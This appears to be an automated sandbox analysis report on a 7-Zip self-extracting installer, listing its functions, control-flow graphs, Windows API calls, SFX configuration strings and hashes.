                                                                                                                                                                                                                                                                                    • String ID: " -$$A$0A$0A$0A$123456789ABCDEFGHJKMNPQRSTUVWXYZ$7-Zip SFX$7ZipSfx.%03x$7zSfxString%d$7zSfxVarCmdLine0$7zSfxVarCmdLine1$7zSfxVarCmdLine2$7zSfxVarModulePlatform$7zSfxVarSystemLanguage$7zSfxVarSystemPlatform$AutoInstall$BeginPrompt$BeginPromptTimeout$Delete$ExecuteFile$ExecuteParameters$FinishMessage$GUIFlags$GUIMode$HelpText$InstallPath$MiscFlags$OverwriteMode$RunProgram$SelfDelete$SetEnvironment$SfxAuthor$Shortcut$Sorry, this program requires Microsoft Windows 2000 or later.$amd64$bpt$del$forcenowait$hidcon$i386$nowait$pA$setup.exe$sfxconfig$sfxelevation$sfxlang$sfxversion$sfxwaitall$shc$waitall$x64$x86$A$A$A
                                                                                                                                                                                                                                                                                    • API String ID: 1301190434-1447873201
                                                                                                                                                                                                                                                                                    • Opcode ID: b83124d88e2db66dd2d1e3eb4e7ee556b62859b735d7ccbe44bf373ef164a074
                                                                                                                                                                                                                                                                                    • Instruction ID: 37b3d77bb6f8fb102f6eda89de8ddb12e9592f0eac1975534991a7b966549d26
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: b83124d88e2db66dd2d1e3eb4e7ee556b62859b735d7ccbe44bf373ef164a074
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 69E2E271904208AADF25AF62DC46AEE3768EF04304F54403BFD06B61D2EB7D9991CB5E
                                                                                                                                                                                                                                                                                    Function 0040247D Relevance: 29.9, APIs: 16, Strings: 1, Instructions: 150stringCOMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                                                                                                                    • Executed
                                                                                                                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                                                                                                                    control_flow_graph 793 40247d-402492 794 4024b0-4024b9 793->794 795 402494 793->795 797 4024c5-4024fb GetLastError wsprintfW GetEnvironmentVariableW GetLastError 794->797 798 4024bb-4024c0 794->798 796 402499-40249e 795->796 796->794 799 4024a0-4024ae 796->799 801 402575-402586 SetLastError 797->801 802 4024fd-40252a ??2@YAPAXI@Z GetEnvironmentVariableW 797->802 800 402637-40263a 798->800 799->794 799->796 803 402636 801->803 804 40258c-40259a 801->804 805 40256c 802->805 806 40252c-402530 GetLastError 802->806 803->800 807 4025ab-4025da lstrlenA ??2@YAPAXI@Z 804->807 808 40259c-4025a7 call 402427 804->808 810 40256f ??3@YAXPAX@Z 805->810 806->805 809 402532-40253a 806->809 812 402616-402630 MultiByteToWideChar 807->812 813 4025dc-402601 GetLocaleInfoW 807->813 808->807 821 4025a9 808->821 814 402561-40256a 809->814 815 40253c-402549 lstrcmpiW 809->815 816 402574 810->816 812->803 813->812 818 402603-402611 _wtol 813->818 814->801 819 40254b-40255c ??3@YAXPAX@Z 815->819 820 40255e-40255f 815->820 816->801 818->812 819->816 820->810 821->807
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • GetLastError.KERNEL32(00000000,?,?), ref: 004024CC
                                                                                                                                                                                                                                                                                    • wsprintfW.USER32 ref: 004024DD
                                                                                                                                                                                                                                                                                    • GetEnvironmentVariableW.KERNEL32(?,00000000,00000000), ref: 004024F2
                                                                                                                                                                                                                                                                                    • GetLastError.KERNEL32 ref: 004024F7
                                                                                                                                                                                                                                                                                    • ??2@YAPAXI@Z.MSVCRT(00000000), ref: 00402512
                                                                                                                                                                                                                                                                                    • GetEnvironmentVariableW.KERNEL32(?,00000000,?), ref: 00402525
                                                                                                                                                                                                                                                                                    • GetLastError.KERNEL32 ref: 0040252C
                                                                                                                                                                                                                                                                                    • lstrcmpiW.KERNEL32(009795D0,?), ref: 00402541
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(009795D0), ref: 00402551
                                                                                                                                                                                                                                                                                    • ??3@YAXPAX@Z.MSVCRT(?), ref: 0040256F
                                                                                                                                                                                                                                                                                    • SetLastError.KERNEL32(00000003), ref: 00402578
                                                                                                                                                                                                                                                                                    • lstrlenA.KERNEL32(0041B328), ref: 004025AC
                                                                                                                                                                                                                                                                                    • ??2@YAPAXI@Z.MSVCRT(00000000), ref: 004025C7
                                                                                                                                                                                                                                                                                    • GetLocaleInfoW.KERNEL32(?,00001004,?,0000001F), ref: 004025F9
                                                                                                                                                                                                                                                                                    • _wtol.MSVCRT ref: 0040260A
                                                                                                                                                                                                                                                                                    • MultiByteToWideChar.KERNEL32(00000000,0041B328,00000001,009795D0,00000002), ref: 0040262A
                                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000006.00000002.2933766458.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2933459232.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934113359.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934510033.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934764946.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_400000_5f0a381314.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: ErrorLast$??2@??3@EnvironmentVariable$ByteCharInfoLocaleMultiWide_wtollstrcmpilstrlenwsprintf
                                                                                                                                                                                                                                                                                    • String ID: 7zSfxString%d
                                                                                                                                                                                                                                                                                    • API String ID: 2117570002-3906403175
                                                                                                                                                                                                                                                                                    • Opcode ID: eba394e492bfb50e151d824ecc1c1c613fe538debf7ee36fbf13e84896701797
                                                                                                                                                                                                                                                                                    • Instruction ID: 1954578a42ed511618fabe736ee1125ec7d3cad31fc3f85986fc13fa068848c6
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: eba394e492bfb50e151d824ecc1c1c613fe538debf7ee36fbf13e84896701797
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 9951A379900214FFDB10DF75DD49ADABBA9FB08340F10443AE946E62D0E7B8A951CB1D
                                                                                                                                                                                                                                                                                    Function 00402665 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                                                                                                                    • Executed
                                                                                                                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                                                                                                                    control_flow_graph 1203 402665-402684 LoadLibraryA GetProcAddress 1204 402692-402695 1203->1204 1205 402686-402691 GetNativeSystemInfo 1203->1205
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • LoadLibraryA.KERNEL32(kernel32,GetNativeSystemInfo,?,?,?,?,?,0040269B,00405D06,7zSfxVarModulePlatform,x86), ref: 00402675
                                                                                                                                                                                                                                                                                    • GetProcAddress.KERNEL32(00000000), ref: 0040267C
                                                                                                                                                                                                                                                                                    • GetNativeSystemInfo.KERNELBASE(?,?,?,?,?,?,0040269B,00405D06,7zSfxVarModulePlatform,x86), ref: 0040268A
                                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000006.00000002.2933766458.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2933459232.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934113359.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934510033.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934764946.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_400000_5f0a381314.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: AddressInfoLibraryLoadNativeProcSystem
                                                                                                                                                                                                                                                                                    • String ID: GetNativeSystemInfo$kernel32
                                                                                                                                                                                                                                                                                    • API String ID: 2103483237-3846845290
                                                                                                                                                                                                                                                                                    • Opcode ID: 19664b54b855b72bcbaa716dd824881a6f451c3f2b4ed8b8d333fe071d6dfa80
                                                                                                                                                                                                                                                                                    • Instruction ID: 08739c12cb3b948957cf2c0406c7fd7347f4194bf9f07d28511d247575205d7a
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 19664b54b855b72bcbaa716dd824881a6f451c3f2b4ed8b8d333fe071d6dfa80
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: AAD05EB0A0520576CB00ABB15D0E9EB7AEC5A48608B144461A806F00C5EAADDD90C36A
                                                                                                                                                                                                                                                                                    Function 0040367D Relevance: 7.5, APIs: 5, Instructions: 45COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                                                                                                                    • Executed
                                                                                                                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                                                                                                                    control_flow_graph 1245 40367d-403694 GetFileAttributesW 1246 403696-403698 1245->1246 1247 40369a-40369c 1245->1247 1250 4036f3-4036f5 1246->1250 1248 4036ab-4036b2 1247->1248 1249 40369e-4036a9 SetLastError 1247->1249 1251 4036b4-4036bb call 403650 1248->1251 1252 4036bd-4036c0 1248->1252 1249->1250 1251->1250 1254 4036f0-4036f2 1252->1254 1255 4036c2-4036d3 FindFirstFileW 1252->1255 1254->1250 1255->1251 1257 4036d5-4036ee FindClose CompareFileTime 1255->1257 1257->1251 1257->1254
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • GetFileAttributesW.KERNELBASE(?,-00000001), ref: 0040368B
                                                                                                                                                                                                                                                                                    • SetLastError.KERNEL32(00000010), ref: 004036A0
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000006.00000002.2933766458.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2933459232.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934113359.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934510033.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934764946.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_400000_5f0a381314.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: AttributesErrorFileLast
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 1799206407-0
                                                                                                                                                                                                                                                                                    • Opcode ID: d36faaefddfd81e2762f97a3370e571bf9c3961ee8d128041245bb49f3de1fe9
                                                                                                                                                                                                                                                                                    • Instruction ID: 2afa7e6ed9b3c4e8b0be6899d5053f20146e769dcf51bfeaf0e83b5e475a48be
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: d36faaefddfd81e2762f97a3370e571bf9c3961ee8d128041245bb49f3de1fe9
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 7001AD30402014BEDB206F759C099EA3B5CAF0132AF204E32F822F23D0D739CB469A5E
                                                                                                                                                                                                                                                                                    Function 0040122A Relevance: 3.0, APIs: 2, Instructions: 42windowCOMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • GetDiskFreeSpaceExW.KERNELBASE(?,00000000,00000000), ref: 00401246
                                                                                                                                                                                                                                                                                    • SendMessageW.USER32(00008001,00000000,?), ref: 0040129F
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000006.00000002.2933766458.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2933459232.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934113359.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934510033.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934764946.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_400000_5f0a381314.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: DiskFreeMessageSendSpace
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 696007252-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 5bb3e25784e11187b05554fa092f685445669e0df266ab708f25aa21da7aa29e
                                                                                                                                                                                                                                                                                    • Instruction ID: 952f35bfd535ad09d3a1e6728af904cc40037fdc81ed9fa17bdc1f07510a46f8
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 5bb3e25784e11187b05554fa092f685445669e0df266ab708f25aa21da7aa29e
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 3F016DB4611208ABEB94DB52DC45F9A77A9AB01714F10807EFD00FA1F0C7B9A9808B1D
                                                                                                                                                                                                                                                                                    Function 00401B0B Relevance: 22.8, APIs: 15, Instructions: 304COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                                                                                                                    • Executed
                                                                                                                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                                                                                                                    control_flow_graph 822 401b0b-401b1b 823 401b27-401b52 call 413cbd 822->823 824 401b1d-401b22 822->824 829 401b54 823->829 830 401b65-401b71 call 4014eb 823->830 825 401e65-401e68 824->825 831 401b56-401b60 call 412574 829->831 836 401e47-401e62 ??3@YAXPAX@Z call 412574 830->836 837 401b77-401b7c 830->837 838 401e64 831->838 836->838 837->836 839 401b82-401bb8 call 401403 call 4017c0 call 40143c ??3@YAXPAX@Z 837->839 838->825 849 401e2d-401e30 839->849 850 401bbe-401bdd 839->850 851 401e32-401e45 ??3@YAXPAX@Z call 412574 849->851 854 401bf8-401bfc 850->854 855 401bdf-401bf3 call 412574 ??3@YAXPAX@Z 850->855 851->838 858 401c03-401c08 854->858 859 401bfe-401c01 854->859 855->831 862 401c2a-401c2d 858->862 863 401c0a 858->863 861 401c30-401c47 859->861 861->855 867 401c49-401c6c 861->867 862->861 864 401c0c-401c12 863->864 868 401c14-401c25 call 412574 ??3@YAXPAX@Z 864->868 872 401c87-401c8d 867->872 873 401c6e-401c82 call 412574 ??3@YAXPAX@Z 867->873 868->831 875 401ca9-401cbb GetLocalTime SystemTimeToFileTime 872->875 876 401c8f-401c92 872->876 873->831 879 401cc1-401cc4 875->879 877 401c94-401c96 876->877 878 401c9b-401ca7 876->878 877->864 878->879 881 401cc6-401cd0 call 4039e7 879->881 882 401cdd-401ce4 call 40367d 879->882 881->868 887 401cd6-401cd8 881->887 886 401ce9-401cee 882->886 888 401cf4-401cf7 886->888 889 401e19-401e28 GetLastError 886->889 887->864 890 401cfd-401d07 ??2@YAPAXI@Z 888->890 891 401e0f-401e12 888->891 889->849 893 401d18 890->893 894 401d09-401d16 890->894 891->889 895 401d1a-401d3e call 41334e call 412468 893->895 894->895 900 401df4-401e0d call 4136b9 call 412574 895->900 901 401d44-401d62 GetLastError call 4013d1 call 4033bd 895->901 900->851 910 401d64-401d6b 901->910 911 401d9f-401db4 call 4039e7 901->911 914 401d6f-401d7f ??3@YAXPAX@Z 910->914 915 401dc0-401dd8 call 412468 911->915 916 401db6-401dbe 911->916 917 401d81-401d83 914->917 918 401d87-401d9a call 412574 ??3@YAXPAX@Z 914->918 924 401dda-401de9 GetLastError 915->924 925 401deb-401df3 ??3@YAXPAX@Z 915->925 916->914 917->918 918->831 924->914 925->900
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000006.00000002.2933766458.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2933459232.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934113359.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934510033.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934764946.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_400000_5f0a381314.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID:
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID:
                                                                                                                                                                                                                                                                                    • Opcode ID: 55ca3ee3d26e98f30d69d3e888b340bde38f36a0fcd7a85b294178b1590f4b85
                                                                                                                                                                                                                                                                                    • Instruction ID: f12f3cbfd9e378c4fb4e9f7b852960855991058b71a72fc1bb9c774fc2295476
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 55ca3ee3d26e98f30d69d3e888b340bde38f36a0fcd7a85b294178b1590f4b85
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 2CB18071900204EFCF15EFA5C8849EEB7B5FF44304B20852BF812A72A1DB78E945CB59
                                                                                                                                                                                                                                                                                    Function 00402017 Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 47timewindowCOMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • GetModuleHandleW.KERNEL32(00000000,00000000,?,?,?,?,?,?,00405C1B,?,00000000), ref: 00402023
                                                                                                                                                                                                                                                                                    • CreateWindowExW.USER32(00000000,Static,0041A584,00000000,000000F6,000000F6,00000005,00000005,00000000,00000000,00000000), ref: 00402040
                                                                                                                                                                                                                                                                                    • SetTimer.USER32(00000000,00000001,00000001,00000000), ref: 00402052
                                                                                                                                                                                                                                                                                    • GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0040205F
                                                                                                                                                                                                                                                                                    • DispatchMessageW.USER32(?), ref: 00402069
                                                                                                                                                                                                                                                                                    • KillTimer.USER32(00000000,00000001,?,?,?,?,?,?,00405C1B,?,00000000), ref: 00402072
                                                                                                                                                                                                                                                                                    • KiUserCallbackDispatcher.NTDLL(00000000,?,?,?,?,?,?,00405C1B,?,00000000), ref: 00402079
                                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000006.00000002.2933766458.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2933459232.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934113359.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934510033.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934764946.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_400000_5f0a381314.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: MessageTimer$CallbackCreateDispatchDispatcherHandleKillModuleUserWindow
                                                                                                                                                                                                                                                                                    • String ID: Static
                                                                                                                                                                                                                                                                                    • API String ID: 2479445380-2272013587
                                                                                                                                                                                                                                                                                    • Opcode ID: 947087521f2d8a527adb1e132fdb1a2ab70df0e469f5237fcb2ff151bfac6e68
                                                                                                                                                                                                                                                                                    • Instruction ID: 2d78b022e2fbb31551ae1a24c66cabd830678dfcab2333de03de12e069c17b52
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 947087521f2d8a527adb1e132fdb1a2ab70df0e469f5237fcb2ff151bfac6e68
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 2BF062325472217BCA312BA69C4DEEF3E2DEF46BB1F004260F619A11D1DAB94111C6BA
                                                                                                                                                                                                                                                                                    Function 00414491 Relevance: 12.6, APIs: 8, Instructions: 565COMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                                                                                                                    • Executed
                                                                                                                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                                                                                                                    control_flow_graph 930 414491-4144ac call 416606 933 4144bb-4144f9 call 407613 call 4136b9 930->933 934 4144ae-4144b8 930->934 939 4145c7-4145ed call 41424b call 414186 933->939 940 4144ff-414509 ??2@YAPAXI@Z 933->940 950 41460b-414623 call 4127e6 call 413cbd 939->950 951 4145ef-414605 call 413d98 939->951 941 414518 940->941 942 41450b-414516 940->942 944 41451a-414553 call 41334e ??2@YAPAXI@Z 941->944 942->944 952 414565 944->952 953 414555-414563 944->953 967 414625-414632 ??2@YAPAXI@Z 950->967 968 41465b-41466b 950->968 951->950 961 414787-41479e 951->961 956 414567-4145a0 call 41334e call 410320 call 414020 952->956 953->956 981 4145a2-4145a4 956->981 982 4145a8-4145ad 956->982 970 414a14-414a2f call 413d2a 961->970 971 4147a4 961->971 972 414634-41463b call 414270 967->972 973 41463d 967->973 983 41469b-4146a1 968->983 984 41466d 968->984 989 414a31-414a37 970->989 990 414a3a-414a3d 970->990 977 4147a7-4147da 971->977 979 41463f-41464f call 4136b9 972->979 973->979 1002 414810-414828 977->1002 1003 4147dc-4147e5 977->1003 996 414651-414654 979->996 997 414656 979->997 981->982 992 4145b5-4145c1 982->992 993 4145af-4145b1 982->993 987 414775-414784 call 414419 983->987 988 4146a7-4146c7 call 412958 983->988 991 41466f-414695 call 412885 call 413d75 call 413edc call 413f0e 984->991 987->961 1006 4146cc-4146d4 988->1006 989->990 990->991 1000 414a43-414a6a call 41271d 990->1000 991->983 992->939 992->940 993->992 1004 414658 996->1004 997->1004 1022 414a82-414a9e 1000->1022 1023 414a6c-414a80 call 416407 1000->1023 1018 4148e2-414925 call 41271d * 2 1002->1018 1019 41482e-414833 1002->1019 1009 4147eb-414800 1003->1009 1010 41497f-414981 1003->1010 1004->968 1012 414949-41494e 1006->1012 1013 4146da-4146e1 1006->1013 1035 414ab1-414ab3 1009->1035 1036 414806-414808 1009->1036 1025 414985-41498a 1010->1025 1016 414950-414952 1012->1016 1017 414956-41495b 1012->1017 1020 4146e3-4146e7 1013->1020 1021 41470f-414712 1013->1021 1016->1017 1027 414963-414966 1017->1027 1028 41495d-41495f 1017->1028 1070 414927-41492a 1018->1070 1071 41498f 1018->1071 1029 414ac3-414ac5 1019->1029 1030 414839-41484a 1019->1030 1020->1021 1032 4146e9-4146ec 1020->1032 1037 414978-41497d 1021->1037 1038 414718-414726 call 4136b9 1021->1038 1120 414a9f call 418583 1022->1120 1121 414a9f call 413bea 1022->1121 1122 414a9f call 402a2f 1022->1122 1023->1022 1025->991 1027->991 1028->1027 1054 414ac9-414ace 1029->1054 1059 414850-414882 call 402a67 call 40b2b0 1030->1059 1060 414ad3-414ae1 SysFreeString 1030->1060 1046 4146f2-414700 call 4136b9 1032->1046 1047 41496b-414970 1032->1047 1043 414ab5-414ab7 1035->1043 1044 414abb-414abe 1035->1044 1036->1002 1048 41480a-41480c 1036->1048 1037->1010 1037->1025 1057 414733-414744 call 414020 1038->1057 1058 414728-41472e call 418e03 1038->1058 1042 414aa2-414aac call 412885 1042->991 1043->1044 1044->991 1046->1057 1072 414702-41470d call 418dde 1046->1072 1047->1025 1051 414972-414974 1047->1051 1048->1002 1051->1037 1054->991 1078 414746-414748 1057->1078 1079 41474c-414751 1057->1079 1058->1057 1092 414884-41488a 1059->1092 1093 41489a-4148b8 ??3@YAXPAX@Z 1059->1093 1068 414ae3-414ae5 1060->1068 1069 414ae9-414aeb 1060->1069 1068->1069 1069->991 1076 41492d-414945 call 416407 1070->1076 1075 414992-414997 1071->1075 1072->1057 1081 414999-4149a5 call 413fb1 1075->1081 1082 4149df-414a0b call 412885 * 2 1075->1082 1096 414947 1076->1096 1078->1079 1085 414753-414755 1079->1085 1086 414759-41475e 1079->1086 1098 4149b3-4149bf call 413ffc 1081->1098 1099 4149a7-4149b1 1081->1099 1082->977 1115 414a11 1082->1115 1085->1086 1090 414760-414762 1086->1090 1091 414766-41476f 1086->1091 1090->1091 1091->987 1091->988 1097 41488c-414898 1092->1097 1105 414af0-414af7 ??3@YAXPAX@Z 1093->1105 1106 4148be-4148da ??3@YAXPAX@Z SysFreeString 1093->1106 1096->1075 1097->1093 1097->1097 1112 4149c5 1098->1112 1113 414af9-414b09 call 412885 * 2 1098->1113 1102 4149c8-4149dd call 416407 1099->1102 1102->1081 1102->1082 1105->1060 1106->1018 1111 4148dc-4148de 1106->1111 1111->1018 1112->1102 1113->1054 1115->970 1120->1042 1121->1042 1122->1042
                                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                                    • ??2@YAPAXI@Z.MSVCRT(00000018,00000000,?,00000000,?), ref: 00414501
                                                                                                                                                                                                                                                                                    • ??2@YAPAXI@Z.MSVCRT(00000028,00000000,00000000,?,00000000,?), ref: 0041454B
                                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                                    • Source File: 00000006.00000002.2933766458.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2933459232.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934113359.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934510033.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    • Associated: 00000006.00000002.2934764946.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_6_2_400000_5f0a381314.jbxd
                                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                                    • API ID: ??2@
                                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                                    • API String ID: 1033339047-0
                                                                                                                                                                                                                                                                                    • Opcode ID: 8c275e2cc856adcccae56b2b03b23110c5135f8455b1c708b9d72e7dbd912df9
                                                                                                                                                                                                                                                                                    • Instruction ID: b54dbc60db56bc1e6d6afd4c66008574e1cbac59b919e387d83e05da41c529ad
                                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 8c275e2cc856adcccae56b2b03b23110c5135f8455b1c708b9d72e7dbd912df9
                                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 89321271900249DFCB14DFA5C8848EEBBB5BF88308B14456EF9169B351CB39E985CF98
                                                                                                                                                                                                                                                                                    Function 004039E7 Relevance: 10.6, APIs: 7, Instructions: 145stringtimeCOMMON
                                                                                                                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                                                                                                                    • Executed
                                                                                                                                                                                                                                                                                    • Not Executed
